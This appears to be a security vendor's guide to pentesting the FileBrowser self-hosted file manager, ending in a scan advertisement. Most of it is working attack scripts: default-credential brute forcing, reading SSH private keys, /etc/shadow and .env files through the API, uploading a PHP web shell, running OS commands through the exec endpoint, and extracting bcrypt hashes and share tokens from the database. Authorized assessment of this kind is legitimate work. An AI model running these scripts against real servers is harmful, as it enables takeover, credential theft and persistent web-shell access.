FileBrowser is one of the most widely deployed self-hosted web file managers — it provides a browser-based interface for managing files on a server. Key assessment areas: FileBrowser ships with admin/admin as default credentials; authenticated users can upload arbitrary files to the configured root path which frequently includes web-serving directories; the root path scope is critical — if set to / the entire server filesystem is accessible; and the exec commands feature in some configurations allows arbitrary OS command execution from the web UI. This guide covers systematic FileBrowser security assessment.
# FileBrowser — default credential testing and JWT token extraction
FB_URL="https://files.example.com"
# FileBrowser default credentials — admin/admin on fresh install
for CRED in "admin:admin" "admin:password" "admin:filebrowser" "user:user"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s -X POST "${FB_URL}/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | tr -d '"')
if [ ${#TOKEN} -gt 20 ]; then
echo "SUCCESS: ${USER}/${PASS}"
echo " JWT: ${TOKEN:0:30}..."
# Decode JWT payload (no signature verification)
python3 -c "
import base64, json
payload = '${TOKEN}'.split('.')[1] + '=='
d = json.loads(base64.b64decode(payload).decode())
print(f' user={d.get(\"user\")} exp={d.get(\"exp\")} created={d.get(\"iat\")}')
" 2>/dev/null
else
echo "FAIL: ${USER}/${PASS} (${TOKEN:0:30})"
fi
done
# Check share tokens — unauthenticated file access
# FileBrowser share links are accessible without credentials
curl -s "${FB_URL}/api/public/share/SHARE_TOKEN" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Share: path={d.get(\"path\")} name={d.get(\"name\")}')
" 2>/dev/null
# FileBrowser — file system enumeration and arbitrary file upload
FB_URL="https://files.example.com"
FB_TOKEN="your-jwt-token"
# List root directory
curl -s "${FB_URL}/api/resources/" \
-H "X-Auth: ${FB_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Root path: {d.get(\"path\")}')
items = d.get('items',[])
print(f'Items in root: {len(items)}')
for item in items[:15]:
print(f' [{\"D\" if item.get(\"isDir\") else \"F\"}] {item.get(\"name\")} size={item.get(\"size\")}')
" 2>/dev/null
# Read sensitive files — .env, config files, SSH keys
for SENSITIVE_PATH in ".env" ".ssh/id_rsa" "etc/passwd" "etc/shadow" \
"var/www/html/.env" "app/.env" "config.php" ".htpasswd"; do
RESULT=$(curl -s "${FB_URL}/api/raw/${SENSITIVE_PATH}" \
-H "X-Auth: ${FB_TOKEN}" -o /tmp/fb_file -w "%{http_code}" 2>/dev/null)
[ "$RESULT" = "200" ] && {
SIZE=$(wc -c < /tmp/fb_file)
echo "FOUND: ${SENSITIVE_PATH} (${SIZE} bytes)"
head -5 /tmp/fb_file
}
done
# Arbitrary file upload — including web shell
# Upload a PHP web shell if root includes a web-served directory
WEB_SHELL=''
curl -s -X POST "${FB_URL}/api/resources/webshell.php?override=true" \
-H "X-Auth: ${FB_TOKEN}" \
-H "Content-Type: application/octet-stream" \
-d "$WEB_SHELL" 2>/dev/null
# If root path includes /var/www/html or /srv/http, web shell is immediately executable
# Exec commands (if enabled in FileBrowser settings)
curl -s -X POST "${FB_URL}/api/command/" \
-H "X-Auth: ${FB_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"command":"id"}' 2>/dev/null
# Returns OS command output if exec is enabled
# FileBrowser database and configuration extraction
# FileBrowser stores config in database.db (SQLite) or settings.json
find / -name "database.db" -path "*/filebrowser/*" 2>/dev/null | head -5
find / -name ".filebrowser.json" 2>/dev/null | head -5
# SQLite database — users and settings
DB_PATH="/config/database.db" # or /data/database.db
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- All users
SELECT id, username,
password, -- bcrypt hash
scope, -- root path for this user (! = global root)
perm, -- JSON permissions object
created,
modified
FROM users
ORDER BY id;
EOF
-- scope '.' or '/' = access to the configured root
-- perm JSON contains: admin, download, delete, rename, modify, create, share, execute
-- Global settings
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT key, value FROM settings;
EOF
-- key 'commands' = exec commands enabled if non-empty
-- key 'root' = configured root path
-- key 'auth.method' = authentication method
-- Share tokens (unauthenticated access)
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT hash, path, expire, user_id
FROM share
WHERE expire = 0 OR expire > strftime('%s','now');
EOF
-- hash = share token, expire=0 = never expires
-- GET /api/public/share/{hash} requires no authentication
# Docker environment
docker inspect filebrowser 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
print(e)
for m in c.get('Mounts',[]):
print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
# Source mapped to / or /srv = full host access
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential testing | POST /api/login with admin/admin — JWT token for full admin access; file system read/write/delete within root path; user management; settings modification; exec command execution if enabled | Critical |
| Root path scope assessment and sensitive file access | GET /api/resources/ to enumerate root; GET /api/raw/ for specific paths — if root=/ entire server filesystem accessible; .env files, SSH keys, /etc/passwd, application configs all readable | Critical |
| Arbitrary file upload for web shell deployment | POST /api/resources/shell.php?override=true — upload PHP/Python/Perl web shell; if root includes web-served directory, immediate RCE via web shell; override=true overwrites existing files | Critical |
| Exec command execution via API | POST /api/command/ — if commands configured and execute permission granted, arbitrary OS command execution; server compromise from web UI action | Critical |
| Unauthenticated share link file access | GET /api/public/share/{hash} — share links bypass authentication; never-expiring shares (expire=0) provide permanent unauthenticated access to shared paths | High |
Ironimo tests FileBrowser deployments for default admin/admin credential testing, root path scope assessment and sensitive file enumeration (.env, SSH keys, /etc/passwd), arbitrary file upload capability testing including web shell paths, exec command API availability and execution, unauthenticated share link enumeration from database.db, SQLite user table bcrypt hash extraction, Docker bind mount scope analysis, settings.json root path disclosure, JWT token analysis and expiry assessment, and non-expiring share link identification.
Start free scan